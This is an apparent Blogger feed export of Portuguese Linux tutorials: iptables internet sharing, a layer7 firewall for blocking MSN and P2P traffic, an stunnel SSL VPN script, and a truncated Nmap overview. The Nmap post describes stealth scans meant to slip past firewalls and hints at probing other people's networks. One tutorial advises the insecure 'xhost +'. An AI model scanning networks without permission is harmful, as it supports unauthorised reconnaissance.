/&gt;&lt;pre&gt;/etc/network/interfaces&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Esse arquivo será semelhante ao seguinte, no caso de voce pegar a conexao por dhcp&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;# This file describes the network interfaces available on your system&lt;br /&gt;# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre&gt;# The loopback network interface&lt;br /&gt;auto lo&lt;br /&gt;iface lo inet loopback&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre&gt;# The primary network interface&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet dhcp&lt;/pre&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;Eu preciso agora, que voce abra o arquivo /etc/network/interfaces com o usuario root&lt;br /&gt;para isso, voce pode usar os seguintes comando no terminal&lt;br /&gt;&lt;/pre&gt;&lt;pre&gt;xhost +&lt;br /&gt;su root&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;agora com isso, voce pode abrir pelo terminal o seu editor de texto favorito, e mandar&lt;br /&gt;abrir o arquivo /etc/network/interfaces&lt;br /&gt;&lt;/p&gt;&lt;p&gt;( se voce vai usar uma placa de rede apenas, no caso de compartilhar dial up, troque o eth1 por&lt;br /&gt;eth0 na configuracao abaixo )&lt;br /&gt;&lt;/p&gt;&lt;p&gt;e acrescente ao fim do arquivo as seguintes configuracoes&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;auto eth1&lt;br /&gt;iface eth1 inet static&lt;br /&gt;       address 192.168.20.1&lt;br /&gt;       netmask 255.255.255.0&lt;br /&gt;       broadcast 192.168.20.255&lt;br /&gt;       network 192.168.20.0&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;com isso, voce ja pode salvar o arquivo e fechar o editor de texto&lt;br /&gt;para carregar essas configuracoes execute os seguintes comandos:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;/etc/init.d/networking stop&lt;br /&gt;/etc/init.d/networking start&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt;&lt;a name="Configurando_a_segunda_esta.C3.A7.C3.A3o"&gt;&lt;/a&gt;&lt;h2&gt;Configurando a segunda estação&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Bom, se sua segunda estação for debian, você pode usar o mesmo esquema pra configurar,&lt;br /&gt;caso seja outra distro, ou seja windows, voce tem que verificar, onde ficam as configurações&lt;br /&gt;para sua versão, oque voce precisa é que a estação tenha os seguintes dados&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;ip:                      192.168.20.2&lt;br /&gt;mascara de rede:         255.255.255.0&lt;br /&gt;dns:                     192.168.20.1&lt;br /&gt;gateway:                 192.168.20.1&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;com isso configurado, tente dar o seguinte comando da estação que voce configurou agora&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;ping 192.168.20.1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;a saida do comando deverá ser algo semelhante ao abaixo&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;PING 192.168.20.1 (192.168.20.1) 56(84) bytes of data.&lt;br /&gt;64 bytes from 192.168.20.1: icmp_seq=1 ttl=128 time=2.70 ms&lt;/pre&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;se der algo como timeout, ou outro tipo de erro, entao sua conexao nao esta funcionando&lt;br /&gt;se a saida for a acima, entao está tudo ok, e podemos passa para o proximo passo&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a name="Criando_um_Script_para_compartilhamento_de_internet"&gt;&lt;/a&gt;&lt;h2&gt;Criando um Script para compartilhamento de internet&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Bom, agora, precisamos montar o script para compartilhar a internet, entao abra um edito de texto&lt;br /&gt;qualquer, e acrescente os seguintes dados dentro&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt; #!/bin/bash&lt;br /&gt;&lt;br /&gt; echo "1" &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt; # Limpando as tabelas&lt;br /&gt; iptables -F&lt;br /&gt; iptables -t nat -F&lt;br /&gt; iptables -t mangle -F&lt;br /&gt;&lt;br /&gt; # Macarando conexões da rede&lt;br /&gt; # se sua conexao estiver na interface ppp0 basta trocar o eth0 por ppp0&lt;br /&gt; # a interface ppp0 é usada tb em dial-up, entao, neste caso, troque o eth0&lt;br /&gt; # por ppp0&lt;br /&gt;&lt;br /&gt; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Ok, agora, pode salvar, e fechar o editor de texto&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a name="Colocando_na_inicializa.C3.A7.C3.A3o_da_m.C3.A1quina"&gt;&lt;/a&gt;&lt;h2&gt;Colocando na inicialização da máquina&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;Com o úsuario root, você ira mover este arquivo para o diretorio /etc/init.d/&lt;br /&gt;entao supondo que voce chamou o arquivo de compartilhamento, voce irá executar o&lt;br /&gt;seguinte comando&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;mv compartilhamento /etc/init.d/&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Feito isso, agora temos de dar permissao de execução ao arquivo, entao use o comando abaixo:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;chmod +x /etc/init.d/compartilhamento&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Agora execute o arquivo digitando:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;/etc/init.d/compartilhamento&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Feito isso, agora temos que criar uma chamada para ele na inicialização, va ate o diretorio&lt;br /&gt;/etc/rc2.d usando o seguinte comando&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;cd /etc/rc2.d&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;e use o seguinte comando para criar a chamada&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;ln -s /etc/init.d/compartilhamento /etc/rc2.d/S99compartilhamento&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt;&lt;a name="Instalando_um_Servidor_DNS"&gt;&lt;/a&gt;&lt;h2&gt;Instalando um Servidor DNS&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Bom, para que o nosso servidor de nomes ( DNS ) possa ser a nossa maquina, precisamos&lt;br /&gt;instalar um servidor de dns nela, nesse caso usaremos o bind9, selecione pelo synaptic, ou&lt;br /&gt;instale usando o apt&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;apt-get install bind9&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;A configuração padrão da instalação, já libera ele pra resolver nomes, então com isso&lt;br /&gt;podemos mandar um ping da estação&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;ping www.uol.com.br&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;A saida deverá ser semelhante a abaixo&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;PING www.uol.com.br (200.221.2.45): 56 data bytes&lt;br /&gt;64 bytes from 200.221.2.45: icmp_seq=0 ttl=55 time=10.4 ms&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;Pronto, você ja tem uma internet compartilhada, divirta-se&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;Retirado de &lt;a href="http://www.debianfordummies.org/wiki/index.php/Compartilhando_Internet_no_linux"&gt;http://www.debianfordummies.org/wiki/index.php/Compartilhando_Internet_no_linux&lt;/a&gt;"&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-2797890522531822665?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/2797890522531822665/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=2797890522531822665' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/2797890522531822665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/2797890522531822665'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/02/compartilhando-internet-no-debian.html' title='Compartilhando Internet no Debian'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-7420548579961185568</id><published>2007-02-09T16:52:00.000-02:00</published><updated>2007-02-09T17:02:14.306-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='layer7'/><category scheme='http://www.blogger.com/atom/ns#' term='pacotes'/><category scheme='http://www.blogger.com/atom/ns#' term='layer 7'/><category scheme='http://www.blogger.com/atom/ns#' term='bloqueio'/><title type='text'>Implementando um firewall com layer 7</title><content type='html'>Prefacio&lt;br /&gt;Tenho percebido ultimamente uma série de pessoas querendo fazer bloqueios de msn, p2p como o emule o kazaa, entre outras softwares, entao uma solucao para esta questao é usar o modulo layer7 no kernel, junto com o iptables&lt;br /&gt;&lt;a name="Dependencias"&gt;&lt;/a&gt;&lt;br /&gt;Dependencias&lt;br /&gt;Como dependencias para trabalharmos com o layer7 temos as seguintes dependencias kernel 2.6.14&lt;br /&gt;iptables 1.3.4&lt;br /&gt;gcc&lt;br /&gt;make&lt;br /&gt;libncurses5-dev&lt;br /&gt;l7-patchs&lt;br /&gt;l7-protocols&lt;br /&gt;O kernel e o iptables terao de ser compilados, pois temos de aplicar patchs para isso&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kernel&lt;br /&gt;entao para baixar o kernel, use o link abaixo &lt;a class="external free" title="http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.14.tar.bz2" href="http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.14.tar.bz2" rel="nofollow"&gt;http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.14.tar.bz2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Iptables&lt;br /&gt;Para o iptables, use o link abaixo &lt;a class="external free" title="http://www.netfilter.org/projects/iptables/files/iptables-1.3.4.tar.bz2" href="http://www.netfilter.org/projects/iptables/files/iptables-1.3.4.tar.bz2" rel="nofollow"&gt;http://www.netfilter.org/projects/iptables/files/iptables-1.3.4.tar.bz2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ferramentas&lt;br /&gt;os outros pacotes, voce pode instalar pelo apt apt-get install gcc make libncurses5-dev&lt;br /&gt;&lt;br /&gt;Layer7&lt;br /&gt;Os patchs do Layer7 voce pega no link abaixo &lt;a class="external free" title="http://ufpr.dl.sourceforge.net/sourceforge/l7-filter/netfilter-layer7-v2.1.tar.gz" href="http://ufpr.dl.sourceforge.net/sourceforge/l7-filter/netfilter-layer7-v2.1.tar.gz" rel="nofollow"&gt;http://ufpr.dl.sourceforge.net/sourceforge/l7-filter/netfilter-layer7-v2.1.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Layer7 protocols&lt;a class="external free" title="http://ufpr.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2006-01-22.tar.gz" href="http://ufpr.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2006-01-22.tar.gz" rel="nofollow"&gt;http://ufpr.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2006-01-22.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Descompactando as aplicacoes&lt;br /&gt;Bom, eu so ponho que voce tenha baixado todos os pacotes em /usr/src caso nao tenha feito isso, mova-os pra la cd /usr/src&lt;br /&gt;tar -xjvf netfilter-layer7-v2.1.tar.gz&lt;br /&gt;tar -xjvf iptables-1.3.4.tar.bz2&lt;br /&gt;tar -xjvf linux-2.6.14.tar.bz2&lt;br /&gt;tar -xzvf l7-protocols-2006-01-22&lt;br /&gt;mv l7-protocols-2006-01-22 /etc/l7-protocols&lt;br /&gt;&lt;br /&gt;Aplicando os patchs de layer7&lt;br /&gt;Agora com os aplicativos descompactados, podemos aplicar os patchs do layer7, vamos iniciar pelo kernel&lt;br /&gt;&lt;br /&gt;no kernelcd /usr/src/linux-2.6.14&lt;br /&gt;patch -p1 &lt; ../netfilter-layer7-v2.1/kernel-2.6.13-2.6.15-layer7-2.1.patch no iptablescd /usr/src/iptables-1.3.4 patch -p1 &lt; ../netfilter-layer7-v2.1/iptables-layer7-2.1.patch chmod +x extensions/.layer7-test Compilando o kernel Aqui eu espero que voce saiba compilar um kernel sem problemas, caso nao saiba sugiro que voce aprenda algumas coisas antes de tentar implanter este tipo de servico, pois voce esta pulando alguns passos Para iniciarmos a compilacao do kernel vamos ate o diretorio cd /usr/src/linux-2.6.14.3 make menuconfig dentro do menu, vamos seguir o seguinte caminho Networking ---&gt;&lt;br /&gt;Networking options ---&gt;&lt;br /&gt;[*] Network packet filtering (replace ipchains) ---&gt;&lt;br /&gt;IP: Netfilter Configuration ---&gt;&lt;br /&gt;&lt;m&gt;Layer 7 match support (EXPERIMENTAL)&lt;br /&gt;[ ] Layer 7 debugging output&lt;br /&gt;com estas opcoes selecionadas, e as outras que voce decidir, voce ja pode salvar o arquivo e compilar&lt;br /&gt;&lt;br /&gt;Compilando o iptables&lt;br /&gt;Agora que você ja compilou o kernel, e espero que voce o esteja usando agora vamos até o diretorio do iptables cd /usr/src/iptables-1.3.4&lt;br /&gt;make KERNEL_DIR=/usr/src/linux-2.6.14&lt;br /&gt;make install KERNEL_DIR=/usr/src/linux-2.6.14&lt;br /&gt;Os arquivos binários serão instalados em /usr/local/sbin/ ls /usr/local/sbin/&lt;br /&gt;ip6tables iptables iptables-restore iptables-save&lt;br /&gt;desta maneiro, voce pode ou passar o caminho todo no arquivo com as regras ou criar os links em /sbin&lt;br /&gt;&lt;br /&gt;Instalando o l7-protocols&lt;br /&gt;Agora precisamos instalar o l7-protocols para que o layer7 saiba como trabalhar com as regras tar -xzvf /usr/src/l7-protocols-2006-01-22.tar.gz -C /usr/src&lt;br /&gt;cd /usr/src/l7-protocols-2006-01-22&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Criando uma regra&lt;br /&gt;Agora aqui em baixo, vou colocar um exemplo de uma regra simples #!/bin/bash&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;###############################################################&lt;br /&gt;# Script de demonstracao para uso de layer7 criado por&lt;br /&gt;# pruonckk le punk ( pruonckk at pruonckk.org ) para o&lt;br /&gt;# tutorial de firewall com layer7 do DebianForDummies&lt;br /&gt;#&lt;br /&gt;# Este script nao tem nenhuma garantia, use por sua conta&lt;br /&gt;# e risco, eu nao me responsabilizo por qualquer consequencia&lt;br /&gt;# que voce possa ter ao usalo&lt;br /&gt;#&lt;br /&gt;###################################################################&lt;br /&gt;#&lt;br /&gt;modprobe ip_nat_ftp&lt;br /&gt;modprobe ip_conntrack_ftp&lt;br /&gt;modprobe ip_conntrack_irc&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;echo "1" &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;iptables -L&lt;br /&gt;iptables -t nat -L&lt;br /&gt;iptables -t mangle -L&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# Gerando logs do msn&lt;br /&gt;#&lt;br /&gt;iptables -A FORWARD -m layer7 --l7proto msnmessenger -j LOG --log-prefix "msn : "&lt;br /&gt;#&lt;br /&gt;# Gerando logs de emule&lt;br /&gt;iptables -A FORWARD -m layer7 --l7proto edonkey -j LOG --log-prefix "edonkey : "&lt;br /&gt;iptables -A FORWARD -m layer7 --l7proto gnutella -j LOG --log-prefix "gnutella : "&lt;br /&gt;#&lt;br /&gt;#######################&lt;br /&gt;## exemplo de bloqueio&lt;br /&gt;## OBS: O bloqueio deve ser feito antes do log, para que nao&lt;br /&gt;## confunda o administrador&lt;br /&gt;# iptables -A FORWARD -m layer7 --l7proto msnmessenger -j DROP&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# Mascarando saida das conexoes&lt;br /&gt;#&lt;br /&gt;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;br /&gt;# OBS: Substitua eth0 pela sua interface ligada a internet&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;Salve este arquivo em /etc/init.d com o nome de firewall&lt;br /&gt;para acrescentar ele na inicializacao do debian, execute os comando abaixo chmod +x /etc/init.d/firewall&lt;br /&gt;ln -s /etc/init.d/firewall /etc/rc2.d/S99firewall&lt;br /&gt;Feito isso, voce pode testar as conexoes e acompanhar os logs, e acrescentar os bloqueios de acordo com sua necessidade.&lt;br /&gt;&lt;br /&gt;Essas informações foram retiradas de:&lt;br /&gt;&lt;a href="http://www.debianfordummies.org/wiki/index.php/Firewall_com_Layer7"&gt;http://www.debianfordummies.org/wiki/index.php/Firewall_com_Layer7&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Espero que ajude alguém.&lt;br /&gt;&lt;br /&gt;[]'s&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-7420548579961185568?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/7420548579961185568/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=7420548579961185568' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/7420548579961185568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/7420548579961185568'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/02/implementando-um-firewall-com-layer-7.html' title='Implementando um firewall com layer 7'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-116912065422287438</id><published>2007-01-18T09:36:00.000-02:00</published><updated>2007-01-18T11:00:18.896-02:00</updated><title type='text'>Script para construção de VPN-SSL</title><content type='html'>Este artigo que segue é de autoria do kl0nez, eu modifiquei algumas partes e pode ser achado na integra em:&lt;br /&gt;[ http://www.e-secure.com.br/linux/index.php?page=VpnOMatic ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bem, vamos lá:&lt;br /&gt;&lt;br /&gt;Algumas vezes sentimos a necessidade de construir uma VPN de forma rápida, segura e fácil, porém, nem sempre possuímos a flexibilidade necessária no ambiente para que esta VPN possa ser implementada pelos métodos convencionais, conforme exemplos abaixo:&lt;br /&gt;&lt;br /&gt;ip-sec, necessita que esteja habilitado o forward do protocolo ip_gre no firewall, além do tráfego upd na porta 500 (em algumas implementações), e mesmo com a opção road-warrior habilitada, ainda fica uma pequena dificuldade na manipulação de endereços IP (pontaA, pontaB, gateways, firewalls, etc.) como no tráfego entre as pontas da VPN.&lt;br /&gt;&lt;br /&gt;pptp, bastante utilizado quando se deseja que estações windows se conectem utilizando o cliente built-in ( dial-up VPN ), porém existem alguns artigos (quando eu encontrar o URL eu posto) que conseguem quebrar o sistema de criptografia, este tipo de VPN eu recomendo somente em casos extremos onde nenhuma outra alternativa é possível.&lt;br /&gt;&lt;br /&gt;Com base nestas restrições das implementações mais comuns, não entrei no assunto do l2tp, porque ainda não tive necessidade de implementar algo utilizando este protocolo e portanto não tenho muita experiência para falar sobre isto, mas voltando ao assunto, estas restrições acabam limitando bastante quando se deseja uma VPN de forma rápida e extremamente flexível.&lt;br /&gt;&lt;br /&gt;Partindo desta necessidade, encontrei uma implementação de SSL (secure socket layer) que possibilita várias construções de layout, o que torna muido mais flexível qualquer utilização ( www.stunnel.org ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Porque SSL ?&lt;br /&gt;&lt;br /&gt;Atualmente, grande parte dos sistemas de segurança de e-commerce, home-banking, etc. todos utilizam do SSL para garantir a autenticidade e confidencialidade das transações. Outo ponto positivo do SSL é o suporte a PKI o que melhora bastante a checagem das chaves.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Onde utilizar SSL ?&lt;br /&gt;&lt;br /&gt;Implementando ssl para POP e SMTP:&lt;br /&gt;&lt;br /&gt;stunnel -p /diretorio/do/seu/arquivo.pem -d 995 -r ip.do.seu.servidor.pop:110&lt;br /&gt;stunnel -p /direotiro/do/seu/arquivo.pem -d 465 -r ip.do.seu.serivdor.smtp:25&lt;br /&gt;&lt;br /&gt;Com este tipo de utilização, voce pode executar estes processos no seu gateway e garantir que todas as conexoes pop e stmp estejam criptografadas.&lt;br /&gt;&lt;br /&gt;Criando uma VPN:&lt;br /&gt;&lt;br /&gt;Ufa, finalmente chegamos ao que interessa...&lt;br /&gt;&lt;br /&gt;Para facilitar, estou colocando um script bash que jah executa todos os comandos, em caso de dúvida sobre algum trecho especifico, envie um e-mail que eu explico e adiciono aqui os comentarios.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;mkdir ~/.vpn.o.matic&lt;br /&gt;cd ~/.vpn.o.matic&lt;br /&gt;echo "Entre com a porta que a VPN irá utilizar "&lt;br /&gt;read PORT&lt;br /&gt;echo "Entre o endereco IP do servidor"&lt;br /&gt;read SERVERIP&lt;br /&gt;echo "Entre com o endereço IP da estação cliente"&lt;br /&gt;read CLIENTIP&lt;br /&gt;echo "Entre com ip da VPN na ponta servidor"&lt;br /&gt;read IPVPNA&lt;br /&gt;echo "Entre com ip da VPN na ponta cliente"&lt;br /&gt;read IPVPNB&lt;br /&gt;&lt;br /&gt;echo "Criando Script para ser usado no servidor..."&lt;br /&gt;echo ""&lt;br /&gt;&lt;br /&gt;cat &gt; vpn_server &lt;&lt; .EOF.&lt;br /&gt;#!/bin/bash&lt;br /&gt;#Script para ser usado no servidor&lt;br /&gt;/usr/sbin/stunnel -d $PORT -v 3 -D 7 -a /var/lib/ssl/certs/trusted -p /var/lib/ssl/certs/pontaA.pem -L /usr/sbin/pppd -- pppd local file /etc/ppp/options.vpnA&lt;br /&gt;.EOF.&lt;br /&gt;&lt;br /&gt;openssl req -new -x509 -days 365 -nodes -out pontaA.pem -keyout pontaA.pem&lt;br /&gt;CERTA=`openssl x509 -hash -noout -in pontaA.pem`&lt;br /&gt;openssl req -new -x509 -days 365 -nodes -out pontaB.pem -keyout pontaB.pem&lt;br /&gt;CERTB=`openssl x509 -hash -noout -in pontaB.pem` echo &gt; options.vpnA&lt;br /&gt;&lt;br /&gt;scp pontaB.pem root@$SERVERIP:/var/lib/ssl/certs/trusted/$CERTB.0&lt;br /&gt;scp pontaA.pem root@$SERVERIP:/var/lib/ssl/certs/pontaA.pem&lt;br /&gt;scp options.vpnA root@$SERVERIP:/etc/ppp&lt;br /&gt;scp vpn_server root@$SERVERIP:/usr/local/bin&lt;br /&gt;&lt;br /&gt;ssh root@$CLIENTIP "chmod 755 /usr/local/bin/vpn_server ; chmod 600 /var/lib/ssl/certs/trusted/$CERTB.0 ; chmod 600 /var/lib/ssl/certs/pontaA.pem"&lt;br /&gt;&lt;br /&gt;echo "Criando scripts para serem usados no cliente..."&lt;br /&gt;echo ""&lt;br /&gt;&lt;br /&gt;cat &gt; vpn_client &lt;&lt; .EOF.&lt;br /&gt; #!/bin/bash&lt;br /&gt;#Script para ser usado do lado do Cliente&lt;br /&gt;/usr/sbin/stunnel -p /var/lib/ssl/certs/pontaB.pem -c -r $SERVERIP:$PORT -D 7 -L /usr/sbin/pppd -- pppd local file /etc/ppp/options.vpnB &amp; .EOF. echo "$IPVPNA:$IPVPNB" &gt; options.vpnB&lt;br /&gt;&lt;br /&gt;scp pontaA.pem root@$CLIENTIP:/var/lib/ssl/certs/trusted/$CERTA.0&lt;br /&gt;scp pontaB.pem root@$CLIENTIP:/var/lib/ssl/certs/pontaB.pem&lt;br /&gt;scp options.vpnB root@$CLIENTIP:/etc/ppp&lt;br /&gt;scp vpn_client root@$CLIENTIP:/usr/local/bin&lt;br /&gt;&lt;br /&gt;ssh root@$CLIENTIP "chmod 755 /usr/local/bin/vpn_client ; chmod 600 /var/lib/ssl/certs/trusted/$CERTA.0 ; chmod 600 /var/lib/ssl/certs/pontaB.pem"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Espero que tenha ajudado alguém. Qualquer dúvida, é só entrar em contato.&lt;br /&gt;&lt;br /&gt;Abraços a todos.&lt;br /&gt;&lt;br /&gt;Mário Miranda de Magalhães&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-116912065422287438?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/116912065422287438/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=116912065422287438' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/116912065422287438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/116912065422287438'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/01/script-para-construo-de-vpn-ssl.html' title='Script para construção de VPN-SSL'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-115199905872904594</id><published>2006-07-04T04:38:00.000-03:00</published><updated>2006-07-05T01:09:52.003-03:00</updated><title type='text'>.:: The Network Mapper ::.</title><content type='html'>Nmap é uma ferramenta destinada a administração de redes onde podemos detectar as portas (TCP e UDP) abertas em computadores remotos ou locais. Além disso também possui muitas outras características que fazem deste Network Scan o melhor de todos (IMHO), tais como detecção remota do sistema operacional via impressão digital TCP ( TCP fingerprint ), uma técnica desenvolvida por seu criador Fyodor, entre muitas outras que servem também para "tapear" alguns firewalls bem como detectá-los. Veremos ao longo deste artigo como usar essas opções para descobrir furos em nossa rede, e também em em outras redes :). Vejamos as opções de cada técnica usada para cada tipo de varredura.&lt;br /&gt;&lt;br /&gt;-sT scan via TCP connect() : É o tipo mais básico de scaneamento facilmente logado por um firewall. Utiliza a chamadaconnect(), pode-se implementar um scan desse com menos de 100 linhas de código C ( apenas detecção de portas ).&lt;br /&gt;&lt;br /&gt;-sS scan via TCP SYN : este já é um tipo mais requintado de varredura apenas registrado por firewalls mais atuais(acredito que a ultima versão do portsentry já detecta este tipo de scan). Este tipo de scan baseia-se no fato de não fechar uma conexão TCP completa, ou seja utiliza uma "meia-conexão". É enviada uma flag SYN como se fosse ocorrer uma conexão normal um SYN/ACK nos mostra que a porta está em listen e um RST nos indica que a porta está fechada. No caso de ser recebido um SYN/ACK é enviado automaticamente um RST fechando a conexão.&lt;br /&gt;&lt;br /&gt;-sF -sX -sN scan via Stealth FIN, Xmas Tree e Null scan, Respectivamente: nem sempre o modo SYN scan é bom o suficiente. Esses tipos de scan normalmente são passados despercebidos.&lt;br /&gt;&lt;br /&gt;::..OBS..:: estes tipos de varredura não funcionam em maquinas rodando Windoze, Cisco, BSDI, HP/UX, MVS e IRIX pelo fato de não seguirem os padrões da RFC 794 pp 64).&lt;br /&gt;&lt;br /&gt;-sP Ping Scan : Serve para verificar quais hosts estão online. A idéia básica é enviar um echo request para a maquina, ou maquinas, que você deseja saber se estão online. Porém alguns sites costumas bloquear os echo request, para isso isso o Nmap pode enviar também um pacote ACK se então recebermos um RST significa que o host esta "de pé".&lt;br /&gt;&lt;br /&gt;-sU UDP scan : determina as portas UDP que estão abertas na máquina remota. Para isso é enviado um pacote UDP com 0 byte para cada porta da maquina alvo. Se no for recebida um mensagem ICMP de porta inalcansável a porta está fechada do contrário a porta está aberta.&lt;br /&gt;&lt;br /&gt;::..OBS..:: Se não especificado nenhum tipo de scan será utilizado -sT por default.&lt;br /&gt;&lt;br /&gt;Muito bem agora que já sabemos os tipos 